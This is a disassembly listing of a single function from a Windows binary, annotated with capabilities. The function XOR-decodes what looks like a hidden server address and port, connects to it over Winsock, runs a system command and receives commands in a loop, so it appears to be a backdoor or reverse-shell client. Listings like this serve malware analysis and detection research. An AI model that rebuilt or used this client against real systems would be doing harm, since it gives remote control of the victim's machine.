Function at 0x1400028d0
Capabilities:
Connect socket
Encode data using xor
Execute command
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
call fcn.140002190
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rbp - 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140002d83
movdqa xmm0, xmmword [0x1400057a0]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 7
xor r15d, r15d
lea r14d, [rax + 1]
nop dword [rax]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x78], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov dword [rbp - 0x80], r14d
mov dword [rbp - 0x7c], 6
movdqa xmm0, xmmword [0x1400057a0]
movdqu xmmword [rbp + 0x168], xmm0
movdqa xmm1, xmmword [0x1400057b0]
movdqu xmmword [rbp + 0x178], xmm1
movdqa xmm0, xmmword [0x140005790]
movdqu xmmword [rbp + 0x188], xmm0
mov dword [rbp + 0x198], r15d
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], send
mov byte [rsp + 0x58], 0
mov r8d, recv
lea rdx, str.22_036231_43
lea rcx, [rsp + 0x58]
call fcn.140002f00
nop
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
mov r8d, 5
lea rdx, str.02207
lea rcx, [rsp + 0x38]
call fcn.140002f00
nop
mov r10d, r15d
mov r11, r15
movsxd rbx, dword [rsp + 0x68]
test rbx, rbx
jle 0x140002a76
nop dword [rax]
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae r8, qword [rsp + 0x58]
lea r9, [rsp + 0x58]
cmovae r9, qword [rsp + 0x58]
mov eax, 0x24924925
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r10d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x168]
xor cl, byte [r8 + r11]
mov byte [r11 + r9], cl
inc r10d
inc r11
cmp r11, rbx
jl 0x140002a20
mov r10d, r15d
mov r11, r15
movsxd rbx, dword [rsp + 0x48]
test rbx, rbx
jle 0x140002ae6
nop word [rax + rax]
lea r8, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae r8, qword [rsp + 0x38]
lea r9, [rsp + 0x38]
cmovae r9, qword [rsp + 0x38]
mov eax, 0x24924925
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r10d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x150]
xor cl, byte [r8 + r11]
mov byte [r9 + r11], cl
inc r10d
inc r11
cmp r11, rbx
jl 0x140002a90
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x28]
lea r8, [rsp + 0x78]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x140002de4
mov rsi, qword [rsp + 0x28]
test rsi, rsi
je 0x140002c89
mov r8d, dword [rsi + 0xc]
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002dd5
nop dword [rax + rax]
mov r8d, dword [rsi + 0x10]
mov rdx, qword [rsi + 0x20]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
mov edi, eax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
jne 0x140002b50
lea rcx, str.connected__n
call fcn.140001040
mov dword [rsp + 0x20], r15d
lea rcx, str.chcp_437
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.get_num:
call fcn.140001040
xor r9d, r9d
mov r8d, r14d
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140002dc4
movsx edx, byte [rsp + 0x30]
lea rcx, [0x140005734]
call fcn.140001040
lea r8, [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
mov rcx, rbx
call fcn.1400014a0
test eax, eax
jne 0x140002b90
lea rcx, str.disconnected..._n
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140002c2f
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dbd
call fcn.140003240
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002d4d
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, str.connected__n
call fcn.140001040
lea rcx, str.chcp_437
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140002cfd
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002e2d
call fcn.140003240
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002d4d
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002e80
call fcn.140003240
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], send
mov byte [rsp + 0x58], 0
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rbp - 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002950
lea rcx, str.WSAStartup_fail_n
call fcn.140001040
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140003220
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, str.get_num_fail..disconnet__n
call fcn.140001040
mov r14d, r15d
jmp 0x140002df9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str.socket_failed:__ld_n
jmp 0x140002deb
lea rcx, str.getaddrinfo_failed:__d_n
mov edx, eax
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140002e39
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002e8c
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
mov eax, r14d
jmp 0x140002d91